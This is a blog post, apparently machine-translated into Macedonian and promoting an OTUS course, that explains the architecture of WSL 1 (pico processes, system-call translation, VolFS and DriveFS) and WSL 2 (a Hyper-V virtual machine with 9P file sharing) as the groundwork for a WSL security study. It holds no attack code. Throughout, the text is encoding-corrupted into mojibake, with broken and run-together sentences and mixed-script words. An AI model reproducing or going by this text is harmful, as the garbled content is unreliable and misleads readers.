ΠΠ΄ΡΠ°Π²ΠΎ, Π₯Π°Π±Ρ! OTUS Π»Π°Π½ΡΠΈΡΠ° Π½ΠΎΠ² ΡΠ΅ΠΊ Π½Π° ΠΊΡΡΡΠ΅Π²ΠΈ Π²ΠΎ ΠΎΠΊΡΠΎΠΌΠ²ΡΠΈ . ΠΠΎ ΠΏΡΠ΅ΡΡΠ΅Ρ Π½Π° ΠΏΠΎΡΠ΅ΡΠΎΠΊΠΎΡ Π½Π° ΠΊΡΡΡΠΎΡ, ΡΠΎ Π²Π°Ρ ΡΠΏΠΎΠ΄Π΅Π»ΡΠ²Π°ΠΌΠ΅ ΡΡΠ°ΡΠΈΡΠ° Π½Π°ΠΏΠΈΡΠ°Π½Π° ΠΎΠ΄ Π΅Π΄Π΅Π½ ΠΎΠ΄ Π½Π°ΡΠΈΡΠ΅ Π½Π°ΡΡΠ°Π²Π½ΠΈΡΠΈ, ΠΠ»Π΅ΠΊΡΠ°Π½Π΄Π°Ρ ΠΠΎΠ»Π΅ΡΠ½ΠΈΠΊΠΎΠ².

ΠΠΎ 2016 Π³ΠΎΠ΄ΠΈΠ½Π°, ΠΠ°ΡΠΊΡΠΎΡΠΎΡΡ ΡΠ° ΠΏΡΠ΅ΡΡΡΠ°Π²ΠΈ Π½ΠΎΠ²Π°ΡΠ° WSL ΡΠ΅Ρ Π½ΠΎΠ»ΠΎΠ³ΠΈΡΠ° Π½Π° ΠΠ’ Π·Π°Π΅Π΄Π½ΠΈΡΠ°ΡΠ° (WΠΈΠ½Π΄ΠΎΡΡ SΠΏΠΎΡΡΠΈΡΡΠ΅ΠΌ Π·Π° Linux), ΡΡΠΎ Π½Π° Π΄ΠΎΠ»Π³ ΡΠΎΠΊ ΠΎΠ²ΠΎΠ·ΠΌΠΎΠΆΠΈ ΠΎΠ±Π΅Π΄ΠΈΠ½ΡΠ²Π°ΡΠ΅ Π½Π° ΠΏΡΠ΅ΡΡ ΠΎΠ΄Π½ΠΎ Π½Π΅ΠΏΠΎΠΌΠΈΡΠ»ΠΈΠ²ΠΈΡΠ΅ ΠΊΠΎΠ½ΠΊΡΡΠ΅Π½ΡΠΈ ΠΊΠΎΠΈ ΡΠ΅ Π±ΠΎΡΠ΅Π° Π·Π° ΠΏΠΎΠΏΡΠ»Π°ΡΠ½ΠΎΡΡ ΠΊΠ°Ρ ΠΎΠ±ΠΈΡΠ½ΠΈΡΠ΅ ΠΈ Π½Π°ΠΏΡΠ΅Π΄Π½ΠΈΡΠ΅ ΠΊΠΎΡΠΈΡΠ½ΠΈΡΠΈ Π½Π° ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ: Windows ΠΈ LinuxΠΠ²Π°Π° ΡΠ΅Ρ Π½ΠΎΠ»ΠΎΠ³ΠΈΡΠ° ΠΎΠ²ΠΎΠ·ΠΌΠΎΠΆΠΈ ΠΌΠΎΠΆΠ½ΠΎΡΡ Π·Π° ΠΊΠΎΡΠΈΡΡΠ΅ΡΠ΅ Π½Π° Π°Π»Π°ΡΠΊΠΈΡΠ΅ Π½Π° ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ. Linux ΠΎΠΏΠΊΡΡΠΆΠ΅Π½ Windows Π±Π΅Π· ΠΏΠΎΡΡΠ΅Π±Π° ΠΎΠ΄ Π»Π°Π½ΡΠΈΡΠ°ΡΠ΅ Linux, Π½Π° ΠΏΡΠΈΠΌΠ΅Ρ, ΠΊΠΎΡΠΈΡΡΠ΅ΡΠ΅ Π½Π° ΠΏΠΎΠ²Π΅ΡΠ΅ΠΊΡΠ°ΡΠ½ΠΎ ΡΡΠ°ΡΡΡΠ²Π°ΡΠ΅. ΠΠ° Habr ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄Π° Π½Π°ΡΠ΄Π΅ΡΠ΅ Π±ΡΠΎΡΠ½ΠΈ ΡΡΠ°ΡΠΈΠΈ ΡΡΠΎ Π³ΠΈ ΠΎΠΏΠΈΡΡΠ²Π°Π°Ρ ΠΏΡΠΈΠ΄ΠΎΠ±ΠΈΠ²ΠΊΠΈΡΠ΅ ΠΎΠ΄ ΠΊΠΎΡΠΈΡΡΠ΅ΡΠ΅ΡΠΎ Π½Π° WSL. Π‘Π΅ΠΏΠ°ΠΊ, Π·Π° ΠΆΠ°Π», Π²ΠΎ Π²ΡΠ΅ΠΌΠ΅ΡΠΎ Π½Π° ΠΏΠΈΡΡΠ²Π°ΡΠ΅, Π½Π΅ Π±Π΅Π° ΠΏΡΠΎΠ½Π°ΡΠ΄Π΅Π½ΠΈ ΡΡΡΠ΄ΠΈΠΈ Π·Π° Π±Π΅Π·Π±Π΅Π΄Π½ΠΎΡΡΠ° Π½Π° ΠΎΠ²Π°Π° ΡΠΈΠΌΠ±ΠΈΠΎΠ·Π° Π½Π° ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈ ΡΠΈΡΡΠ΅ΠΌΠΈ Π½Π° ΠΎΠ²ΠΎΡ ΡΠ΅ΡΡΡΡ. ΠΠ²Π°Π° ΠΎΠ±ΡΠ°Π²Π° Π΅ ΠΎΠ±ΠΈΠ΄ Π΄Π° ΡΠ΅ ΠΈΡΠΏΡΠ°Π²ΠΈ ΠΎΠ²Π°. ΠΠΎ ΡΡΠ°ΡΠΈΡΠ°ΡΠ° ΡΠ΅ ΡΠ΅ Π΄ΠΈΡΠΊΡΡΠΈΡΠ°Π°Ρ ΠΊΠ°ΡΠ°ΠΊΡΠ΅ΡΠΈΡΡΠΈΠΊΠΈΡΠ΅ Π½Π° Π°ΡΡ ΠΈΡΠ΅ΠΊΡΡΡΠΈΡΠ΅ WSL 1 ΠΈ 2 ΠΈ ΡΠ΅ ΡΠ΅ Π°Π½Π°Π»ΠΈΠ·ΠΈΡΠ°Π°Ρ Π½Π΅ΠΊΠΎΠ»ΠΊΡ ΠΏΡΠΈΠΌΠ΅ΡΠΈ Π½Π° Π½Π°ΠΏΠ°Π΄ΠΈ Π²ΡΠ· ΡΠΈΡΡΠ΅ΠΌΠΈ ΡΡΠΎ Π³ΠΈ ΠΊΠΎΡΠΈΡΡΠ°Ρ ΠΎΠ²ΠΈΠ΅ ΡΠ΅Ρ Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ. Π‘ΡΠ°ΡΠΈΡΠ°ΡΠ° Π΅ ΠΏΠΎΠ΄Π΅Π»Π΅Π½Π° Π½Π° Π΄Π²Π° Π΄Π΅Π»Π°. ΠΡΠ²ΠΈΠΎΡ ΡΠ΅ Π³ΠΈ ΠΏΡΠ΅ΡΡΡΠ°Π²ΠΈ Π³Π»Π°Π²Π½ΠΈΡΠ΅ ΡΠ΅ΠΎΡΠ΅ΡΡΠΊΠΈ ΠΌΠ΅ΡΠΎΠ΄ΠΈ Π½Π° Π½Π°ΠΏΠ°Π΄. Linux ΠΈ WindowsΠΡΠΎΡΠ°ΡΠ° ΡΡΠ°ΡΠΈΡΠ° ΡΠ΅ ΠΎΠΏΡΠ°ΡΠΈ ΠΏΠΎΡΡΠ°Π²ΡΠ²Π°ΡΠ΅ Π½Π° ΡΠ΅ΡΡ-ΠΎΠΊΡΡΠΆΡΠ²Π°ΡΠ΅ ΠΈ ΡΠ΅ΠΏΡΠΎΠ΄ΡΡΠΈΡΠ°ΡΠ΅ Π½Π° Π½Π°ΠΏΠ°Π΄ΠΈ.
WSL 1: Π°ΡΡ ΠΈΡΠ΅ΠΊΡΠΎΠ½ΡΠΊΠΈ ΠΊΠ°ΡΠ°ΠΊΡΠ΅ΡΠΈΡΡΠΈΠΊΠΈ
ΠΠ° ΡΠ΅Π»ΠΎΡΠ½ΠΎ Π΄Π° ΡΠ΅ ΡΠ°Π·Π±Π΅ΡΠ°Ρ Π±Π΅Π·Π±Π΅Π΄Π½ΠΎΡΠ½ΠΈΡΠ΅ ΠΏΡΠΎΠ±Π»Π΅ΠΌΠΈ Π½Π° WSL, ΠΏΠΎΡΡΠ΅Π±Π½ΠΎ Π΅ Π΄Π° ΡΠ΅ ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΡΠ²Π°Π°Ρ ΠΊΠ»ΡΡΠ½ΠΈΡΠ΅ Π½ΠΈΡΠ°Π½ΡΠΈ ΠΏΠΎΠ²ΡΠ·Π°Π½ΠΈ ΡΠΎ ΠΈΠΌΠΏΠ»Π΅ΠΌΠ΅Π½ΡΠ°ΡΠΈΡΠ°ΡΠ° Π½Π° ΠΏΠΎΠ΄ΡΠΈΡΡΠ΅ΠΌΠΎΡ. ΠΠ΄Π½Π° ΠΎΠ΄ Π³Π»Π°Π²Π½ΠΈΡΠ΅ ΠΏΠΎΡΡΠ΅Π±ΠΈ Π½Π° ΠΊΠΎΡΠΈΡΠ½ΠΈΡΠΈΡΠ΅ ΡΡΠΎ Π³ΠΈ ΠΎΠΏΡΠ°ΡΠ° WSL Π΅ ΠΎΠ²ΠΎΠ·ΠΌΠΎΠΆΡΠ²Π°ΡΠ΅ΡΠΎ ΠΏΡΠΈΡΡΠ°ΠΏ Π΄ΠΎ ΡΠ΅ΡΠΌΠΈΠ½Π°Π»ΠΎΡ. Linux ΡΠΈΡΡΠ΅ΠΌΠΈ Π½Π° Π΄ΠΎΠΌΠ°ΡΠΈΠ½ΠΎΡ ΡΠΎ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π΅Π½ ΡΠΈΡΡΠ΅ΠΌ WindowsΠΡΡΠΎ ΡΠ°ΠΊΠ°, ΠΏΠΎΠ½ΡΠ΄Π΅Π½Π°ΡΠ° ΠΊΠΎΠΌΠΏΠ°ΡΠΈΠ±ΠΈΠ»Π½ΠΎΡΡ Π±Π΅ΡΠ΅ ΡΠΎΠ»ΠΊΡ ΠΏΡΠΈΡΠΎΠ΄Π½Π° ΡΡΠΎ ΠΈΠ·Π²ΡΡΠ½ΠΈΡΠ΅ Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈ Linux (ELF) ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ Π»Π°Π½ΡΠΈΡΠ° Π΄ΠΈΡΠ΅ΠΊΡΠ½ΠΎ Π²ΠΎ ΡΠΈΡΡΠ΅ΠΌΠΎΡ WindowsΠΠ° Π΄Π° ΡΠ΅ ΠΏΠΎΡΡΠΈΠ³Π½Π°Ρ ΠΎΠ²ΠΈΠ΅ ΡΠ΅Π»ΠΈ Π²ΠΎ Windows 10 ΡΠΎΠ·Π΄Π°Π΄Π΅Π½ Π΅ ΠΏΠΎΡΠ΅Π±Π΅Π½ ΠΏΠΎΠ΄ΡΠΈΡΡΠ΅ΠΌ ΠΊΠΎΡ ΠΎΠ²ΠΎΠ·ΠΌΠΎΠΆΡΠ²Π° ΡΡΠ°ΡΡΡΠ²Π°ΡΠ΅ Π½Π° Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ Linux ΠΊΠΎΡΠΈΡΡΠ΅ΡΡΠΈ ΡΠ΅Ρ Π½Π° ΡΠΏΠ΅ΡΠΈΡΠΈΡΠ½ΠΈ ΡΠΈΡΡΠ΅ΠΌΡΠΊΠΈ ΠΏΠΎΠ²ΠΈΡΠΈ - Π·Π°ΡΠΎΠ°, Π±Π΅ΡΠ΅ Π½Π°ΠΏΡΠ°Π²Π΅Π½ ΠΎΠ±ΠΈΠ΄ Π΄Π° ΡΠ΅ ΠΌΠ°ΠΏΠΈΡΠ° ΡΠ΅Ρ Π½Π° ΡΠΈΡΡΠ΅ΠΌΡΠΊΠΈ ΠΏΠΎΠ²ΠΈΡΠΈ Linux Π½Π° WindowsΠ€ΠΈΠ·ΠΈΡΠΊΠΈ, ΠΎΠ²Π° Π±Π΅ΡΠ΅ ΠΈΠΌΠΏΠ»Π΅ΠΌΠ΅Π½ΡΠΈΡΠ°Π½ΠΎ ΡΠΎ Π΄ΠΎΠ΄Π°Π²Π°ΡΠ΅ Π½Π° Π½ΠΎΠ²ΠΈ Π΄ΡΠ°ΡΠ²Π΅ΡΠΈ ΠΈ Π½ΠΎΠ² ΡΠΎΡΠΌΠ°Ρ Π½Π° ΠΏΡΠΎΡΠ΅ΡΠΎΡ. ΠΠΈΠ·ΡΠ΅Π»Π½ΠΎ, Π°ΡΡ ΠΈΡΠ΅ΠΊΡΡΡΠ°ΡΠ° ΠΈΠ·Π³Π»Π΅Π΄Π°ΡΠ΅ Π²Π°ΠΊΠ°:

ΠΠΎ ΠΎΡΠ½ΠΎΠ²Π°, ΠΈΠ½ΡΠ΅ΡΠ°ΠΊΡΠΈΡΠ° ΡΠΎ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ Linux Π±Π΅ΡΠ΅ ΠΎΡΠ³Π°Π½ΠΈΠ·ΠΈΡΠ°Π½ ΡΠΎ ΠΊΠΎΡΠΈΡΡΠ΅ΡΠ΅ Π½Π° Π½Π΅ΠΊΠΎΠ»ΠΊΡ ΠΌΠΎΠ΄ΡΠ»ΠΈ Π½Π° ΡΠ°Π΄ΡΠΎΡΠΎ ΠΈ ΠΏΠΎΡΠ΅Π±Π΅Π½ ΡΠΈΠΏ Π½Π° ΠΏΡΠΎΡΠ΅Ρ - pico. ΠΠΈΡΠ°Π³ΡΠ°ΠΌΠΎΡ ΠΏΠΎΠ³ΠΎΡΠ΅ ΠΏΠΎΠΊΠ°ΠΆΡΠ²Π° Π΄Π΅ΠΊΠ° ΠΏΡΠΎΡΠ΅ΡΠΎΡ ΡΡΠΎ ΡΠ°Π±ΠΎΡΠΈ Π²ΠΎ ΠΈΠ½ΡΡΠ°Π½ΡΠ°ΡΠ° Linux Π½Π° Π΄ΠΎΠΌΠ°ΡΠΈΠ½ΠΎΡ, ΠΌΠΎΡΠ° Π΄Π° Π±ΠΈΠ΄Π΅ ΠΌΠ°ΡΠΈΡΠ΅Π½ ΠΈ ΠΌΠΎΡΠ° Π΄Π° Π³ΠΈ ΠΊΠΎΡΠΈΡΡΠΈ ΠΈΡΡΠΈΡΠ΅ ΡΠ΅ΡΡΡΡΠΈ ΠΊΠ°ΠΊΠΎ ΠΈ ΠΎΠ±ΠΈΡΠ½ΠΈΡΠ΅ Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ WindowsΠΠΎ, ΠΊΠ°ΠΊΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ ΠΏΠΎΡΡΠΈΠ³Π½Π΅ ΠΎΠ²Π°? ΠΠΎ ΠΏΡΠΎΠ΅ΠΊΡΠΎΡ ΠΊΠΎΠ½ΡΠ΅ΠΏΡΠΈΡΠ΅ Π½Π° ΠΏΡΠΎΡΠ΅ΡΠΎΡ Π±Π΅Π° ΡΠ°Π·Π²ΠΈΠ΅Π½ΠΈ Π·Π° Windows, ΠΊΠΎΡ Π³ΠΈ ΠΎΠ±Π΅Π·Π±Π΅Π΄ΠΈ ΡΠΈΡΠ΅ ΠΏΠΎΡΡΠ΅Π±Π½ΠΈ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠΈ Π½Π° ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ (Π²ΠΎ Π·Π°Π²ΠΈΡΠ½ΠΎΡΡ ΠΎΠ΄ Π½Π΅Π³ΠΎΠ²Π°ΡΠ° Π²Π΅ΡΠ·ΠΈΡΠ°) Π·Π° Π΄Π° ΡΠ΅ ΠΈΠ·Π²ΡΡΠΈ Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ° ΠΎΠ΄ Π΄ΡΡΠ³ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π΅Π½ ΡΠΈΡΡΠ΅ΠΌ.
ΠΠ°Π±Π΅Π»Π΅ΠΆΠ΅ΡΠ΅ Π΄Π΅ΠΊΠ° ΠΏΡΠ΅Π΄Π»ΠΎΠΆΠ΅Π½Π°ΡΠ° Π°ΠΏΡΡΡΠ°ΠΊΡΠΈΡΠ° ΠΎΠ²ΠΎΠ·ΠΌΠΎΠΆΠΈ Π΄Π° Π½Π΅ ΡΠ΅ ΠΏΠΎΡΠΏΠΈΡΠ°ΡΠ΅ Π½Π° ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ (ΠΎΡΠΎΠ±Π΅Π½ΠΎ, Windows), ΠΊΠΎΡ ΠΎΡΠ΅ΠΊΡΠ²Π° Π΄Π° ΡΠ΅ Π»Π°Π½ΡΠΈΡΠ° Π΄ΡΡΠ³ ΠΏΡΠΎΡΠ΅Ρ Π½Π° ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ ΠΈ ΠΏΡΠ΅Π΄Π»ΠΎΠΆΠΈ ΠΎΠΏΡΡ ΠΏΡΠΈΡΡΠ°ΠΏ.
Π’Π°ΠΊΠ°, ΡΠ΅ΠΊΠΎΡΠ° Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ° Π²ΠΎ ΡΠ°ΠΌΠΊΠΈΡΠ΅ Π½Π° pico ΠΏΡΠΎΡΠ΅ΡΠΎΡ ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ°Π±ΠΎΡΠΈ Π±Π΅Π· ΠΎΠ³Π»Π΅Π΄ Π½Π° ΡΠ°Π΄ΡΠΎΡΠΎ. Windows:
- ΠΡΠΎΠ±Π»Π΅ΠΌΠΈΡΠ΅ ΡΠΎ ΠΊΠΎΠΌΠΏΠ°ΡΠΈΠ±ΠΈΠ»Π½ΠΎΡΡΠ° ΠΈ ΠΏΡΠ΅Π²ΠΎΠ΄ΠΎΡ Π½Π° ΡΠΈΡΡΠ΅ΠΌΡΠΊΠΈΡΠ΅ ΠΏΠΎΠ²ΠΈΡΠΈ ΠΌΠΎΡΠ° Π΄Π° Π³ΠΈ ΡΠ΅ΡΠ°Π²Π°Π°Ρ ΡΠΏΠ΅ΡΠΈΡΠ°Π»Π½ΠΈ ΠΏΡΠΎΠ²Π°ΡΠ΄Π΅ΡΠΈ;
- ΠΠΎΠ½ΡΡΠΎΠ»Π°ΡΠ° Π½Π° ΠΏΡΠΈΡΡΠ°ΠΏ ΠΌΠΎΡΠ° Π΄Π° ΡΠ΅ ΠΈΠΌΠΏΠ»Π΅ΠΌΠ΅Π½ΡΠΈΡΠ° ΠΏΡΠ΅ΠΊΡ ΠΠ΅Π·Π±Π΅Π΄Π½ΠΎΡΠ½ΠΈΠΎΡ ΠΌΠΎΠ½ΠΈΡΠΎΡ. ΠΠΎΠ½ΠΈΡΠΎΡΠΎΡ ΡΠ΅ Π½Π°ΠΎΡΠ° Π²ΠΎ ΡΠ°Π΄ΡΠΎΡΠΎ ΠΈ Π·Π°ΡΠΎΠ° Windows ΠΠ΅ΡΠ΅ ΠΏΠΎΡΡΠ΅Π±Π½Π° Π½Π°Π΄Π³ΡΠ°Π΄Π±Π° Π²ΠΎ ΡΠΎΡΠΌΠ° Π½Π° Π½ΠΎΠ² Π΄ΡΠ°ΡΠ²Π΅Ρ ΠΊΠΎΡ Π±ΠΈ ΠΌΠΎΠΆΠ΅Π» Π΄Π° Π΄Π΅ΡΡΡΠ²ΡΠ²Π° ΠΊΠ°ΠΊΠΎ ΠΏΡΠΎΠ²Π°ΡΠ΄Π΅Ρ Π·Π° Π²Π°ΠΊΠ²ΠΈ ΠΏΡΠΎΡΠ΅ΡΠΈ. ΠΡΠΎΡΠΎΡΠΈΠΏΠΎΡ Π½Π° ΠΏΠΈΠΊΠΎ ΠΏΡΠΎΡΠ΅ΡΠΎΡ Π΅ ΡΠ΅ΠΌΠ°ΡΡΠΊΠΈ ΠΏΡΠΈΠΊΠ°ΠΆΠ°Π½ ΠΏΠΎΠ΄ΠΎΠ»Ρ:

ΠΠΈΠ΄Π΅ΡΡΠΈ Π΄Π°ΡΠΎΡΠ΅ΡΠ½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ Linux ΠΊΠΎΡΠΈΡΡΠΈ ΠΈΠΌΠΈΡΠ° Π½Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈ ΠΈ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΠΌΠΈ ΡΡΠΎ ΠΎΡΠ΅ΡΡΠ²Π°Π°Ρ Π³ΠΎΠ»Π΅ΠΌΠΈ ΠΈ ΠΌΠ°Π»ΠΈ Π±ΡΠΊΠ²ΠΈ, Windows ΠΠΎΠ΄Π°Π΄Π΅Π½ΠΈ ΡΠ΅ Π΄Π²Π° ΡΠΈΠΏΠ° Π½Π° Π΄Π°ΡΠΎΡΠ΅ΡΠ΅Π½ ΡΠΈΡΡΠ΅ΠΌ Π·Π° ΡΠΏΠΎΡΡΠ΅Π±Π° ΡΠΎ WSL: VolFS ΠΈ DriveFS. VolFS Π΅ ΠΈΠΌΠΏΠ»Π΅ΠΌΠ΅Π½ΡΠ°ΡΠΈΡΠ° Π½Π° Π΄Π°ΡΠΎΡΠ΅ΡΠ΅Π½ ΡΠΈΡΡΠ΅ΠΌ. Linux, DriveFS Π΅ Π΄Π°ΡΠΎΡΠ΅ΡΠ΅Π½ ΡΠΈΡΡΠ΅ΠΌ ΠΊΠΎΡ ΡΠ°Π±ΠΎΡΠΈ ΡΠΏΠΎΡΠ΅Π΄ ΠΏΡΠ°Π²ΠΈΠ»Π°ΡΠ° Windows, Π½ΠΎ ΠΈΠΌΠ° ΠΎΠΏΡΠΈΡΠ° Π·Π° ΠΈΠ·Π±ΠΎΡ Π½Π° ΡΡΠ²ΡΡΠ²ΠΈΡΠ΅Π»Π½ΠΎΡΡ Π½Π° Π³ΠΎΠ»Π΅ΠΌΠΈ ΠΈ ΠΌΠ°Π»ΠΈ Π±ΡΠΊΠ²ΠΈ ΠΊΠ°Ρ ΠΈΠΌΠΈΡΠ°ΡΠ°.
WSL 2
WSL 1 ΠΈΠΌΠ°ΡΠ΅ Π³ΠΎΠ»Π΅ΠΌ Π±ΡΠΎΡ ΠΎΠ³ΡΠ°Π½ΠΈΡΡΠ²Π°ΡΠ° ΡΡΠΎ Π³ΠΎ ΡΠΏΡΠ΅ΡΡΠ²Π°Π° Π΄Π° ΡΠ΅ ΠΊΠΎΡΠΈΡΡΠΈ Π·Π° ΡΠ΅ΡΠ°Π²Π°ΡΠ΅ Π½Π° Π½Π°ΡΡΠΈΡΠΎΠΊΠΈΠΎΡ ΡΠΏΠ΅ΠΊΡΠ°Ρ Π½Π° Π·Π°Π΄Π°ΡΠΈ: Π½Π° ΠΏΡΠΈΠΌΠ΅Ρ, Π½Π΅ΠΌΠ°ΡΠ΅ ΠΌΠΎΠΆΠ½ΠΎΡΡ Π·Π° ΡΠ°Π±ΠΎΡΠ° ΡΠΎ 32-Π±ΠΈΡΠ½Π° Π²Π΅ΡΠ·ΠΈΡΠ°. Linux ΠΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈΡΠ΅ Π½Π΅ ΠΌΠΎΠΆΠ΅Π° Π΄Π° ΠΊΠΎΡΠΈΡΡΠ°Ρ Π΄ΡΠ°ΡΠ²Π΅ΡΠΈ Π·Π° ΡΡΠ΅Π΄ΠΈ. ΠΠ°ΡΠΎΠ°, Π²ΠΎ 2020 Π³ΠΎΠ΄ΠΈΠ½Π° Π±Π΅ΡΠ΅ ΠΈΠ·Π΄Π°Π΄Π΅Π½ WSL 2, ΠΊΠΎΡ Π³ΠΎ ΠΏΡΠΎΠΌΠ΅Π½ΠΈ ΠΏΡΠΈΡΡΠ°ΠΏΠΎΡ ΠΊΠΎΠ½ Π³ΡΠ°Π΄Π΅ΡΠ΅ Π½Π° ΠΏΠΎΠ΄ΡΠΈΡΡΠ΅ΠΌΠΎΡ. WSL 2 Π΅ ΠΎΠΏΡΠΈΠΌΠΈΠ·ΠΈΡΠ°Π½Π° Π²ΠΈΡΡΡΠ΅Π»Π½Π° ΠΌΠ°ΡΠΈΠ½Π° ΠΊΠΎΡΠ° ΠΎΠ΄Π³ΠΎΠ²Π°ΡΠ° Π½Π° ΠΊΠ°ΡΠ°ΠΊΡΠ΅ΡΠΈΡΡΠΈΠΊΠΈΡΠ΅ Π½Π° ΠΏΠΎΡΡΠΎΡΡΠ²Π°ΡΠΊΠ° Π½Π° ΡΠ΅ΡΡΡΡΠΈ Π½Π° WSL 1. Π‘Π΅Π³Π°, Π²ΠΎ Π·Π°Π²ΠΈΡΠ½ΠΎΡΡ ΠΎΠ΄ ΠΏΡΠΎΠ±Π»Π΅ΠΌΠΈΡΠ΅ ΡΡΠΎ Π³ΠΈ ΡΠ΅ΡΠ°Π²Π° ΠΊΠΎΡΠΈΡΠ½ΠΈΠΊΠΎΡ, ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ Windows, ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄Π° ΡΠ° ΠΈΠ·Π±Π΅ΡΠ΅ΡΠ΅ ΠΏΠΎΡΡΠ΅Π±Π½Π°ΡΠ° Π²Π΅ΡΠ·ΠΈΡΠ° Π½Π° ΠΏΠΎΠ΄ΡΠΈΡΡΠ΅ΠΌΠΎΡ Π·Π° ΡΠ°Π±ΠΎΡΠ° ΡΠΎ LinuxΠΠ° Π΄Π° ΡΠ΅ ΡΠ±Π»Π°ΠΆΠ°Ρ ΠΏΠΎΡΠ΅Π½ΡΠΈΡΠ°Π»Π½ΠΈΡΠ΅ ΡΠ°Π½Π»ΠΈΠ²ΠΎΡΡΠΈ, WSL 2 Π±Π΅ΡΠ΅ ΠΈΠΌΠΏΠ»Π΅ΠΌΠ΅Π½ΡΠΈΡΠ°Π½ Π²ΡΠ· ΠΎΡΠ½ΠΎΠ²Π° Π½Π° Hyper-V Π²ΠΎ Windows 10ΠΠΎ ΠΎΠ²Π°Π° ΡΠΎΡΠΌΠ° Windows ΠΈΠΌΠ° ΠΌΠΎΠΆΠ½ΠΎΡΡ Π΄Π° Π³ΠΎ ΡΡΠ°ΡΡΡΠ²Π° ΡΠ°Π΄ΡΠΎΡΠΎ Π½Π° ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ ΠΈΠ·ΠΎΠ»ΠΈΡΠ°Π½ΠΎ LinuxΠΡΠ΅Π΄ΠΈ Π΄Π° ΡΠ΅ Π·Π°ΠΏΠΎΠΌΠ½ΠΈ Π΄Π΅ΠΊΠ° Π²Π΅ΡΠ·ΠΈΡΠ°ΡΠ° 1 Π½Π° WSL Π±Π΅ΡΠ΅ Π²ΠΎΠ²Π΅Π΄Π΅Π½Π° ΠΊΠ°ΠΊΠΎ Π±Π΅ΡΠ° ΡΡΠ½ΠΊΡΠΈΡΠ° Π½Π°ΠΌΠ΅Π½Π΅ΡΠ° Π΄Π° ΡΠ° ΠΏΠΎΠΊΠ°ΠΆΠ΅ Π½Π°ΡΠΎΠΊΠ°ΡΠ° Π½Π° ΡΠ°Π·Π²ΠΎΡ. Windows Π²ΠΎ ΠΎΠ²Π°Π° ΠΎΠ±Π»Π°ΡΡ, ΠΏΠ° Π·Π°ΡΠΎΠ° ΡΡΠ°Π½Π·ΠΈΡΠΈΡΠ°ΡΠ° ΠΊΠΎΠ½ Hyper-V Π±Π΅ΡΠ΅ Π½Π΅ΠΈΠ·Π±Π΅ΠΆΠ½Π°. ΠΠΎΠ½Π΅ΡΠ½Π°ΡΠ° Π°ΡΡ ΠΈΡΠ΅ΠΊΡΡΡΠ° ΠΈΠ·Π³Π»Π΅Π΄Π° Π²Π°ΠΊΠ°:

ΠΠΎ ΠΎΠ²Π°Π° Π²Π΅ΡΠ·ΠΈΡΠ°, ΡΠΈΡΡΠ΅ΠΌΡΠΊΠΈΡΠ΅ ΡΠ°Π΄ΡΠ° Windows ΠΈ Linux Π‘Π΅ΠΊΠΎΡ ΠΎΠ΄ Π½ΠΈΠ² ΠΈΠΌΠ° ΡΠ²ΠΎΠΈ ΡΠ΅ΡΡΡΡΠΈ ΠΈ ΡΠ΅ ΠΏΡΠ΅ΠΊΠ»ΠΎΠΏΡΠ²Π° ΡΠ°ΠΌΠΎ Π²ΠΎ ΡΠ°ΠΌΠΊΠΈΡΠ΅ Π½Π° Π΄Π°ΡΠΎΡΠ΅ΡΠ½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ, Π½ΠΎ ΠΎΠ²Π° ΠΏΡΠ΅ΠΊΠ»ΠΎΠΏΡΠ²Π°ΡΠ΅ Π΅ Π΄Π°Π»Π΅ΠΊΡ ΠΎΠ΄ ΡΠ΅Π»ΠΎΡΠ½ΠΎ. ΠΠ½ΡΠ΅ΡΠ°ΠΊΡΠΈΡΠ°ΡΠ° ΠΏΠΎΠΌΠ΅ΡΡ Π΄Π°ΡΠΎΡΠ΅ΡΠ½ΠΈΡΠ΅ ΡΠΈΡΡΠ΅ΠΌΠΈ ΡΠ΅ ΠΎΡΡΠ²Π°ΡΡΠ²Π° ΠΏΡΠ΅ΠΊΡ ΠΊΠ»ΠΈΠ΅Π½Ρ-ΡΠ΅ΡΠ²Π΅Ρ ΠΎΠ±Π²ΠΈΠ²ΠΊΠ° ΡΡΠΎ ΡΠ°Π±ΠΎΡΠΈ Π½Π° ΠΏΡΠΎΡΠΎΠΊΠΎΠ»ΠΎΡ 9P.
